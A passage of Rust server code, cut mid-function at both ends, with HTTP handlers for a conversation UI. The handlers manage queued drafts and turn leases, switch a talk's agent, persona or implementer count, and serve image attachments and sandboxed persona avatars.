9059                }
9060                if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9061                    return Err(ApiError::conflict("there is no queued draft to resume"));
9062                }
9063                let (cfg, _) = Config::discover(&talk.repo, None)?;
9064                Ok((talk, cfg))
9065            })
9066            .await?
9067        };
9068        let view = TalkView::new(talk.clone(), true, &ui);
9069        let talks = ui.talks.clone();
9070        #[cfg(not(test))]
9071        detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9072        #[cfg(test)]
9073        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9074        Ok((StatusCode::ACCEPTED, Json(view)))
9075    })
9076    .await
9077}
9078
9079/// Hand off an admitted draft while retaining the talk lease until its
9080/// detached startup reservation is durable.
9081#[cfg(not(test))]
9082async fn detach_talk_turn(
9083    _talk: Talk,
9084    talks: Talks,
9085    _cfg: Config,
9086    id: String,
9087    turn: TalkTurnGuard,
9088) -> ApiResult<()> {
9089    let launched = crate::consult::spawn_turn(&talks, &id).await;
9090    drop(turn);
9091    launched.map(|_| ()).map_err(ApiError::from)
9092}
9093
9094#[cfg(test)]
9095async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9096    drain_loop_started(talk, talks, cfg, id, turn, None).await;
9097}
9098
9099/// A settings response must not report idle while its claim is still held.
9100/// Wait until the first drain either releases the claim or promotes a draft.
9101/// The task owns the guard even if the HTTP handler is cancelled while waiting.
9102async fn settle_settings_turn(
9103    talk: Talk,
9104    talks: Talks,
9105    cfg: Config,
9106    id: String,
9107    turn: TalkTurnGuard,
9108    observed: u64,
9109) -> bool {
9110    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9111        let turns = Arc::clone(&turn.turns);
9112        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9113        if live.queued.get(&id).copied().unwrap_or(0) == observed {
9114            // Release under the arrival lock; a later `/say` takes its own claim.
9115            turn.release(&mut live);
9116            return false;
9117        }
9118    }
9119    let (started, settled) = tokio::sync::oneshot::channel();
9120    tokio::spawn(drain_loop_started(
9121        talk,
9122        talks,
9123        cfg,
9124        id,
9125        turn,
9126        Some(started),
9127    ));
9128    settled.await.unwrap_or(false)
9129}
9130
9131#[cfg(not(test))]
9132async fn drain_loop_started(
9133    talk: Talk,
9134    talks: Talks,
9135    _cfg: Config,
9136    id: String,
9137    turn: TalkTurnGuard,
9138    started: Option<tokio::sync::oneshot::Sender<bool>>,
9139) {
9140    let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9141    let running = if pending {
9142        match crate::consult::spawn_turn(&talks, &id).await {
9143            Ok(_) => true,
9144            Err(error) => {
9145                tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
9146                false
9147            }
9148        }
9149    } else {
9150        false
9151    };
9152    drop(turn);
9153    if let Some(started) = started {
9154        let _ = started.send(running);
9155    }
9156}
9157
9158// Existing in-process conversation tests exercise transcript/arrival ordering;
9159// real process-lifetime behavior is covered by the CLI integration tests.
9160#[cfg(test)]
9161async fn drain_loop_started(
9162    mut talk: Talk,
9163    talks: Talks,
9164    cfg: Config,
9165    id: String,
9166    turn: TalkTurnGuard,
9167    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
9168) {
9169    let live_set = Arc::clone(&turn.turns);
9170    // `Option` rather than binding `turn` directly to a `_turn` that lives
9171    // for the whole function: releasing it has to happen by calling
9172    // `TalkTurnGuard::release` from inside the locked branch below, which
9173    // takes `self` by value. Left as a plain drop instead, `Drop` would still
9174    // remove the id - correctly, if this loop is ever left some other way -
9175    // but doing it there misses the lock this loop is already holding, which
9176    // is the exact gap `release` exists to close.
9177    let mut turn = Some(turn);
9178    loop {
9179        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
9180            // The lease was taken over while a turn ran. Whatever is queued
9181            // stays a draft; running it here would race the new owner.
9182            tracing::warn!("talk {id} lost its turn lease; not draining further");
9183            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9184            if let Some(turn) = turn.take() {
9185                turn.release(&mut live);
9186            }
9187            break;
9188        }
9189        // `talk::drain` takes the store lock and can write/rename the talk
9190        // file. Keep the turn mutex out of that synchronous work: it protects
9191        // every talk's in-memory claim, not this talk's disk operation.
9192        let observed = live_set
9193            .lock()
9194            .unwrap_or_else(PoisonError::into_inner)
9195            .queued
9196            .get(&id)
9197            .copied()
9198            .unwrap_or(0);
9199        let drained = blocking({
9200            let talks = talks.clone();
9201            move || {
9202                let result = talk::drain(&mut talk, &talks);
9203                Ok((talk, result))
9204            }
9205        })
9206        .await;
9207        let (next_talk, result) = match drained {
9208            Ok(drained) => drained,
9209            Err(e) => {
9210                tracing::warn!(
9211                    status = %e.status,
9212                    message = %e.message,
9213                    "talk {id} could not start queued-text drain"
9214                );
9215                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9216                turn.take()
9217                    .expect("held for the whole loop until released here")
9218                    .release(&mut live);
9219                break;
9220            }
9221        };
9222        talk = next_talk;
9223        let drained = match result {
9224            Ok(Some(drained)) => drained,
9225            Ok(None) => {
9226                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9227                if live.queued.get(&id).copied().unwrap_or(0) != observed {
9228                    continue;
9229                }
9230                turn.take()
9231                    .expect("held for the whole loop until released here")
9232                    .release(&mut live);
9233                break;
9234            }
9235            Err(e) => {
9236                tracing::warn!("talk {id} could not drain queued text: {e:#}");
9237                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9238                turn.take()
9239                    .expect("held for the whole loop until released here")
9240                    .release(&mut live);
9241                break;
9242            }
9243        };
9244        if let Some(started) = started.take() {
9245            let _ = started.send(true);
9246        }
9247        let responded = match turn.as_ref() {
9248            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
9249            None => Err(anyhow::anyhow!("the turn guard was released")),
9250        };
9251        if let Err(e) = responded {
9252            tracing::warn!("talk {id} turn failed: {e:#}");
9253        }
9254    }
9255    drop(turn);
9256    if let Some(started) = started {
9257        let _ = started.send(false);
9258    }
9259}
9260
9261/// Clear a queued draft only if it remains exactly the one the caller saw.
9262async fn talk_pending_clear(
9263    State(ui): State<Arc<Ui>>,
9264    Path(id): Path<String>,
9265    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
9266) -> ApiResult<Json<TalkView>> {
9267    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9268    blocking(move || {
9269        let id = resolve_talk(&ui.talks, &id)?;
9270        let mut talk = ui.talks.get(&id)?;
9271        if !talk.status.open() {
9272            return Err(ApiError::conflict(format!(
9273                "talk {} is {} and takes no more turns",
9274                talk.short(),
9275                talk.status.as_str()
9276            )));
9277        }
9278        if !talk::clear_pending_if_matches(
9279            &mut talk,
9280            &ui.talks,
9281            &body.expected_text,
9282            &body.expected_attachments,
9283        )? {
9284            return Err(ApiError::conflict(
9285                "queued message changed; reload it before clearing",
9286            ));
9287        }
9288        let thinking = ui.is_thinking(&talk.id);
9289        Ok(Json(TalkView::new(talk, thinking, &ui)))
9290    })
9291    .await
9292}
9293
9294/// Atomically edit a queued draft's text while preserving its attachments.
9295/// The snapshot fields make a concurrent queue or drain a conflict rather
9296/// than silently discarding either message.
9297async fn talk_pending_edit(
9298    State(ui): State<Arc<Ui>>,
9299    Path(id): Path<String>,
9300    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
9301) -> ApiResult<Json<TalkView>> {
9302    let admission = ui.begin_admission()?;
9303    admitted(admission, async move {
9304        let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9305        let id = {
9306            let ui = Arc::clone(&ui);
9307            blocking(move || resolve_talk(&ui.talks, &id)).await?
9308        };
9309        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9310            .await
9311            .map_err(ApiError::from)?;
9312        let (view, reclaimed) = blocking({
9313            let ui = Arc::clone(&ui);
9314            move || {
9315                let mut talk = ui.talks.get(&id)?;
9316                if !talk.status.open() {
9317                    return Err(ApiError::conflict(format!(
9318                        "talk {} is {} and takes no more turns",
9319                        talk.short(),
9320                        talk.status.as_str()
9321                    )));
9322                }
9323                if !talk::edit_pending_message(
9324                    &mut talk,
9325                    &ui.talks,
9326                    &body.text,
9327                    &body.expected_text,
9328                    &body.expected_attachments,
9329                    body.message,
9330                )? {
9331                    return Err(ApiError::conflict(
9332                        "queued message changed; reload it before editing",
9333                    ));
9334                }
9335                let claim = match ui.begin_queued_talk_turn(&id)? {
9336                    Some(turn_guard) => {
9337                        let (cfg, _) = Config::discover(&talk.repo, None)?;
9338                        Some((talk.clone(), cfg, id.clone(), turn_guard))
9339                    }
9340                    None => None,
9341                };
9342                let thinking = ui.is_thinking(&id);
9343                Ok((TalkView::new(talk, thinking, &ui), claim))
9344            }
9345        })
9346        .await?;
9347        if let Some((talk, cfg, id, turn_guard)) = reclaimed {
9348            let talks = ui.talks.clone();
9349            #[cfg(not(test))]
9350            detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9351            #[cfg(test)]
9352            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9353        }
9354        Ok(Json(view))
9355    })
9356    .await
9357}
9358
9359/// The 409 for a talk that takes no more turns.
9360fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
9361    if talk.status.open() {
9362        return Ok(());
9363    }
9364    Err(ApiError::conflict(format!(
9365        "talk {} is {} and takes no more turns",
9366        talk.short(),
9367        talk.status.as_str()
9368    )))
9369}
9370
9371/// The body of `POST /api/talks/{id}/agent`.
9372#[derive(Debug, Deserialize)]
9373struct TalkAgent {
9374    agent: String,
9375}
9376
9377/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
9378/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
9379/// start a turn on the old session between the check and the write; one that
9380/// arrives in that window finds the talk busy and becomes a draft.
9381async fn talk_agent(
9382    State(ui): State<Arc<Ui>>,
9383    Path(id): Path<String>,
9384    Json(body): Json<TalkAgent>,
9385) -> ApiResult<Json<TalkView>> {
9386    let admission = ui.begin_admission()?;
9387    admitted(admission, async move {
9388        let id = {
9389            let ui = Arc::clone(&ui);
9390            blocking(move || resolve_talk(&ui.talks, &id)).await?
9391        };
9392        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9393            .await
9394            .map_err(ApiError::from)?;
9395        let repo = {
9396            let ui = Arc::clone(&ui);
9397            let id = id.clone();
9398            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9399        };
9400        let cfg = config_for(&repo).await?;
9401        // Refuse before taking the claim; see `talk_implementers`.
9402        {
9403            let ui = Arc::clone(&ui);
9404            let id = id.clone();
9405            let cfg = cfg.clone();
9406            let wanted = body.agent.clone();
9407            blocking(move || {
9408                agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
9409                    .map_err(ApiError::bad_request_from)?;
9410                refuse_if_closed(&ui.talks.get(&id)?)
9411            })
9412            .await?;
9413        }
9414        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9415            return Err(ApiError::conflict(
9416                "a talk turn is running; change the agent once it has answered",
9417            ));
9418        };
9419        let switched = {
9420            let ui = Arc::clone(&ui);
9421            let id = id.clone();
9422            let cfg = cfg.clone();
9423            blocking(move || {
9424                let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
9425                    .map_err(ApiError::bad_request_from)?;
9426                let mut talk = ui.talks.get(&id)?;
9427                if !talk.status.open() {
9428                    return Err(ApiError::conflict(format!(
9429                        "talk {} is {} and takes no more turns",
9430                        talk.short(),
9431                        talk.status.as_str()
9432                    )));
9433                }
9434                talk::switch_agent(&mut talk, &ui.talks, &spec)?;
9435                Ok(talk)
9436            })
9437            .await
9438        };
9439        // A `/say` that landed while this held the claim saw the talk busy and
9440        // left a durable draft, trusting the claim's owner to drain it. So the
9441        // claim is settled whatever the outcome. Release an empty draft's claim
9442        // before replying; queued drafts continue independently of the handler.
9443        let observed = ui.queued_generation(&id);
9444        let fresh = {
9445            let ui = Arc::clone(&ui);
9446            let id = id.clone();
9447            blocking(move || Ok(ui.talks.get(&id)?)).await
9448        };
9449        let draining = match fresh {
9450            Ok(talk) => {
9451                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9452            }
9453            Err(_) => false,
9454        };
9455        let talk = switched?;
9456        Ok(Json(TalkView::new(talk, draining, &ui)))
9457    })
9458    .await
9459}
9460
9461/// The body of `POST /api/talks/{id}/persona`.
9462#[derive(Debug, Deserialize)]
9463struct TalkPersona {
9464    persona: String,
9465}
9466
9467/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
9468/// like [`talk_agent`]: the turn guard is held for the change and always handed
9469/// to `drain_loop`, so a draft left meanwhile is not stranded.
9470async fn talk_persona(
9471    State(ui): State<Arc<Ui>>,
9472    Path(id): Path<String>,
9473    Json(body): Json<TalkPersona>,
9474) -> ApiResult<Json<TalkView>> {
9475    let admission = ui.begin_admission()?;
9476    admitted(admission, async move {
9477        let id = {
9478            let ui = Arc::clone(&ui);
9479            blocking(move || resolve_talk(&ui.talks, &id)).await?
9480        };
9481        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9482            .await
9483            .map_err(ApiError::from)?;
9484        let repo = {
9485            let ui = Arc::clone(&ui);
9486            let id = id.clone();
9487            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9488        };
9489        let cfg = config_for(&repo).await?;
9490        // Refuse before taking the claim; see `talk_implementers`.
9491        {
9492            let ui = Arc::clone(&ui);
9493            let id = id.clone();
9494            let cfg = cfg.clone();
9495            let wanted = body.persona.clone();
9496            blocking(move || {
9497                if persona::find(&cfg.talk.personas, &wanted).is_none() {
9498                    return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
9499                }
9500                refuse_if_closed(&ui.talks.get(&id)?)
9501            })
9502            .await?;
9503        }
9504        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9505            return Err(ApiError::conflict(
9506                "a talk turn is running; change the persona once it has answered",
9507            ));
9508        };
9509        let switched = {
9510            let ui = Arc::clone(&ui);
9511            let id = id.clone();
9512            let cfg = cfg.clone();
9513            blocking(move || {
9514                let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
9515                    return Err(ApiError::bad_request(format!(
9516                        "unknown persona `{}`",
9517                        body.persona
9518                    )));
9519                };
9520                let mut talk = ui.talks.get(&id)?;
9521                if !talk.status.open() {
9522                    return Err(ApiError::conflict(format!(
9523                        "talk {} is {} and takes no more turns",
9524                        talk.short(),
9525                        talk.status.as_str()
9526                    )));
9527                }
9528                talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
9529                Ok(talk)
9530            })
9531            .await
9532        };
9533        // As in `talk_agent`: settle the claim before replying, even on refusal.
9534        let observed = ui.queued_generation(&id);
9535        let fresh = {
9536            let ui = Arc::clone(&ui);
9537            let id = id.clone();
9538            blocking(move || Ok(ui.talks.get(&id)?)).await
9539        };
9540        let draining = match fresh {
9541            Ok(talk) => {
9542                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9543            }
9544            Err(_) => false,
9545        };
9546        let talk = switched?;
9547        Ok(Json(TalkView::new(talk, draining, &ui)))
9548    })
9549    .await
9550}
9551
9552/// The body of `POST /api/talks/{id}/implementers`.
9553#[derive(Debug, Deserialize)]
9554struct TalkImplementers {
9555    implementers: u8,
9556}
9557
9558/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
9559/// like [`talk_agent`]: the turn guard is held for the change and always handed
9560/// to `drain_loop`, so a draft left meanwhile is not stranded.
9561async fn talk_implementers(
9562    State(ui): State<Arc<Ui>>,
9563    Path(id): Path<String>,
9564    Json(body): Json<TalkImplementers>,
9565) -> ApiResult<Json<TalkView>> {
9566    let admission = ui.begin_admission()?;
9567    admitted(admission, async move {
9568        let id = {
9569            let ui = Arc::clone(&ui);
9570            blocking(move || resolve_talk(&ui.talks, &id)).await?
9571        };
9572        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9573            .await
9574            .map_err(ApiError::from)?;
9575        let repo = {
9576            let ui = Arc::clone(&ui);
9577            let id = id.clone();
9578            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9579        };
9580        let cfg = config_for(&repo).await?;
9581        // Refuse a request that cannot succeed before taking the claim: a claim
9582        // taken for it is handed to `drain_loop`, which holds the talk busy for a
9583        // moment, so a refusal would make the next request see "busy" instead of
9584        // its own answer. The checks after the claim stay the ones that decide.
9585        {
9586            let ui = Arc::clone(&ui);
9587            let id = id.clone();
9588            let cfg = cfg.clone();
9589            let wanted = body.implementers;
9590            blocking(move || {
9591                talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
9592                refuse_if_closed(&ui.talks.get(&id)?)
9593            })
9594            .await?;
9595        }
9596        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9597            return Err(ApiError::conflict(
9598                "a talk turn is running; change the implementers once it has answered",
9599            ));
9600        };
9601        let switched = {
9602            let ui = Arc::clone(&ui);
9603            let id = id.clone();
9604            let cfg = cfg.clone();
9605            blocking(move || {
9606                let chosen = talk::check_implementers(body.implementers, &cfg)
9607                    .map_err(ApiError::bad_request)?;
9608                let mut talk = ui.talks.get(&id)?;
9609                if !talk.status.open() {
9610                    return Err(ApiError::conflict(format!(
9611                        "talk {} is {} and takes no more turns",
9612                        talk.short(),
9613                        talk.status.as_str()
9614                    )));
9615                }
9616                talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
9617                Ok(talk)
9618            })
9619            .await
9620        };
9621        // As in `talk_agent`: settle the claim before replying, even on refusal.
9622        let observed = ui.queued_generation(&id);
9623        let fresh = {
9624            let ui = Arc::clone(&ui);
9625            let id = id.clone();
9626            blocking(move || Ok(ui.talks.get(&id)?)).await
9627        };
9628        let draining = match fresh {
9629            Ok(talk) => {
9630                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9631            }
9632            Err(_) => false,
9633        };
9634        let talk = switched?;
9635        Ok(Json(TalkView::new(talk, draining, &ui)))
9636    })
9637    .await
9638}
9639
9640/// `POST /api/talks/{id}/close`.
9641async fn talk_close(
9642    State(ui): State<Arc<Ui>>,
9643    Path(id): Path<String>,
9644) -> ApiResult<Json<TalkView>> {
9645    blocking(move || {
9646        let id = resolve_talk(&ui.talks, &id)?;
9647        let mut talk = ui.talks.get(&id)?;
9648        talk::close(&mut talk, &ui.talks)?;
9649        let thinking = ui.is_thinking(&talk.id);
9650        Ok(Json(TalkView::new(talk, thinking, &ui)))
9651    })
9652    .await
9653}
9654
9655/// `POST /api/talks/{id}/reopen`.
9656async fn talk_reopen(
9657    State(ui): State<Arc<Ui>>,
9658    Path(id): Path<String>,
9659) -> ApiResult<Json<TalkView>> {
9660    blocking(move || {
9661        let id = resolve_talk(&ui.talks, &id)?;
9662        let mut talk = ui.talks.get(&id)?;
9663        talk::reopen(&mut talk, &ui.talks)?;
9664        let thinking = ui.is_thinking(&talk.id);
9665        Ok(Json(TalkView::new(talk, thinking, &ui)))
9666    })
9667    .await
9668}
9669
9670/// `DELETE /api/talks/{id}`.
9671///
9672/// Removes the conversation's record and artifacts outright, unlike
9673/// [`talk_close`] which keeps the record as history. A turn already in
9674/// flight is not refused here the way [`run_delete`] refuses a live run:
9675/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
9676/// under [`Talks::guard`], that the record they are about to write back is
9677/// still there, so a delete racing a turn is safe without this route having
9678/// to know a turn is running at all.
9679async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
9680    blocking(move || {
9681        let id = resolve_talk(&ui.talks, &id)?;
9682        ui.talks.remove(&id)?;
9683        Ok(StatusCode::NO_CONTENT)
9684    })
9685    .await
9686}
9687
9688fn talk_ids(root: &FsPath) -> Vec<String> {
9689    std::fs::read_dir(root)
9690        .into_iter()
9691        .flatten()
9692        .flatten()
9693        .filter_map(|e| {
9694            let path = e.path();
9695            if path.extension().is_some_and(|ext| ext == "json") {
9696                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
9697            } else {
9698                None
9699            }
9700        })
9701        .collect()
9702}
9703
9704/// Expand an id or short id to exactly one talk id.
9705fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
9706    if plain_record_id(id) && store.path_of(id).is_file() {
9707        return Ok(id.to_owned());
9708    }
9709    pick(talk_ids(store.root()), id, "talk")
9710}
9711
9712/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
9713/// future `talk-say`.
9714async fn talk_attachment_post(
9715    State(ui): State<Arc<Ui>>,
9716    Path(id): Path<String>,
9717    headers: HeaderMap,
9718    body: Bytes,
9719) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
9720    let mime = validate_attachment(&headers, &body)?;
9721    let name = filename_header(&headers);
9722    let data = body.to_vec();
9723    blocking(move || {
9724        let id = resolve_talk(&ui.talks, &id)?;
9725        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
9726        Ok((StatusCode::CREATED, Json(att)))
9727    })
9728    .await
9729}
9730
9731/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
9732/// `<img>` tag in the transcript.
9733async fn talk_attachment_get(
9734    State(ui): State<Arc<Ui>>,
9735    Path((id, att)): Path<(String, String)>,
9736) -> ApiResult<Response> {
9737    blocking(move || {
9738        let id = resolve_talk(&ui.talks, &id)?;
9739        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
9740            return Err(ApiError::not_found(format!(
9741                "talk {id} has no attachment `{att}`"
9742            )));
9743        };
9744        Ok(attachment_response(&meta.mime, data))
9745    })
9746    .await
9747}
9748
9749/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
9750/// the icon setting, so changing it changes the URL.
9751fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
9752    let id = avatar_encode(&p.id);
9753    format!(
9754        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
9755        persona_icon::fingerprint(
9756            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
9757        )
9758    )
9759}
9760
9761#[derive(Debug, Default, Deserialize)]
9762struct AvatarQuery {
9763    persona: Option<String>,
9764    /// Set by the page after the first load failed: skip the `icon`.
9765    builtin: Option<String>,
9766}
9767
9768/// Served with every built-in avatar: it is an image, so nothing else may run.
9769const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
9770
9771fn builtin_avatar(id: &str) -> Response {
9772    svg_avatar(persona_icon::builtin_svg(id))
9773}
9774
9775async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
9776    raster_or_builtin(
9777        read_icon_file(&avatar_setting_path(&ui.home, None))
9778            .filter(|_| q.builtin.is_none())
9779            .as_deref(),
9780        persona_icon::operator_svg(),
9781    )
9782}
9783
9784fn svg_avatar(svg: &'static str) -> Response {
9785    (
9786        [
9787            (header::CONTENT_TYPE, "image/svg+xml"),
9788            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
9789            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
9790            (header::CACHE_CONTROL, "no-cache"),
9791        ],
9792        svg,
9793    )
9794        .into_response()
9795}
9796
9797fn avatar_encode(value: &str) -> String {
9798    value
9799        .bytes()
9800        .map(|b| {
9801            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
9802                char::from(b).to_string()
9803            } else {
9804                format!("%{b:02X}")
9805            }
9806        })
9807        .collect()
9808}
9809
9810// Display-only overrides live outside configuration and conversation records.
9811fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
9812    let Some(id) = persona else {
9813        return home.join("avatars/operator.data");
9814    };
9815    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
9816    let mut path = home.join("avatars/personas");
9817    for chunk in encoded.as_bytes().chunks(100) {
9818        path.push(std::str::from_utf8(chunk).expect("hex"));
9819    }
9820    path.join("icon.data")
9821}
9822
9823fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
9824    match read_icon_file(&avatar_setting_path(home, Some(id))) {
9825        Some(value) if value == "builtin" => Some(String::new()),
9826        Some(value) => Some(value),
9827        None => configured.map(str::to_owned),
9828    }
9829}
9830
9831fn operator_icon_url(home: &FsPath) -> String {
9832    format!(
9833        "/avatars/operator.svg?v={}",
9834        persona_icon::fingerprint(
9835            read_icon_file(&avatar_setting_path(home, None))
9836                .as_deref()
9837                .or(Some(persona_icon::operator_svg()))
9838        )
9839    )
9840}
9841
9842fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
9843    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
9844        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9845            attachment_response(mime, bytes)
9846        }
9847        _ => svg_avatar(builtin),
9848    };
9849    response
9850        .headers_mut()
9851        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
9852    response
9853}
9854
9855#[derive(Default, Deserialize)]
9856struct AvatarSettingsQuery {
9857    repo: Option<PathBuf>,
9858    persona: Option<String>,
9859    builtin: Option<String>,
9860    inherit: Option<String>,
9861}
9862
9863fn avatar_settings_specs(
9864    ui: &Ui,
9865    repo: Option<PathBuf>,
9866) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
9867    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
9868    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
9869        .map(|cfg| cfg.talk.personas)
9870        .unwrap_or_default();
9871    Ok((repo, specs))
9872}
9873
9874fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
9875    let Ok(entries) = std::fs::read_dir(path) else {
9876        return;
9877    };
9878    for entry in entries.flatten() {
9879        let name = entry.file_name().to_string_lossy().into_owned();
9880        if name == "icon.data" {
9881            let bytes: Option<Vec<u8>> = prefix
9882                .as_bytes()
9883                .chunks(2)
9884                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
9885                .collect();
9886            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
9887                out.push(id);
9888            }
9889        } else if name.len() <= 100
9890            && !name.is_empty()
9891            && name.bytes().all(|b| b.is_ascii_hexdigit())
9892            && entry.file_type().is_ok_and(|t| t.is_dir())
9893        {
9894            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
9895        }
9896    }
9897}
9898
9899async fn avatar_settings_get(
9900    State(ui): State<Arc<Ui>>,
9901    Query(q): Query<AvatarSettingsQuery>,
9902) -> ApiResult<Json<serde_json::Value>> {
9903    blocking(move || {
9904        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
9905        let mut catalog = persona::catalog(&specs);
9906        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
9907        let mut saved = Vec::new();
9908        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
9909        for id in saved {
9910            if !catalog.iter().any(|p| p.id == id) {
9911                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
9912            }
9913        }
9914        let personas: Vec<_> = catalog.iter().map(|p| {
9915            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
9916            let override_state = match saved.as_deref() {
9917                Some("builtin") => "builtin",
9918                Some(_) => "custom",
9919                None => "inherit",
9920            };
9921            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
9922            serde_json::json!({"id":p.id,"name":p.name,
9923                "override_state":override_state,"has_config_icon":p.icon.is_some(),
9924                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
9925                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
9926        }).collect();
9927        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
9928    }).await
9929}
9930
9931async fn settings_persona_avatar(
9932    State(ui): State<Arc<Ui>>,
9933    Query(q): Query<AvatarSettingsQuery>,
9934) -> ApiResult<Response> {
9935    blocking(move || {
9936        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
9937        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
9938        let found = persona::find(&specs, id);
9939        let icon =
9940            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
9941        Ok(raster_or_builtin(
9942            icon.as_deref().filter(|_| q.builtin.is_none()),
9943            persona_icon::builtin_svg(id),
9944        ))
9945    })
9946    .await
9947}
9948
9949fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
9950    if q.persona
9951        .as_ref()
9952        .is_some_and(|p| p.is_empty() || p.len() > 4096)
9953    {
9954        return Err(ApiError::bad_request("invalid persona id"));
9955    }
9956    Ok(())
9957}
9958
9959async fn avatar_settings_put(
9960    State(ui): State<Arc<Ui>>,
9961    Query(q): Query<AvatarSettingsQuery>,
9962    Json(upload): Json<MagiIconUpload>,
9963) -> ApiResult<Json<serde_json::Value>> {
9964    blocking(move || {
9965        validate_avatar_target(&q)?;
9966        save_icon_file(
9967            &avatar_setting_path(&ui.home, q.persona.as_deref()),
9968            &upload.icon,
9969        )
9970        .map_err(ApiError::bad_request_from)?;
9971        Ok(Json(serde_json::json!({"saved":true})))
9972    })
9973    .await
9974}
9975
9976async fn avatar_settings_delete(
9977    State(ui): State<Arc<Ui>>,
9978    Query(q): Query<AvatarSettingsQuery>,
9979) -> ApiResult<Json<serde_json::Value>> {
9980    blocking(move || {
9981        validate_avatar_target(&q)?;
9982        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
9983        if q.persona.is_some() && q.inherit.is_none() {
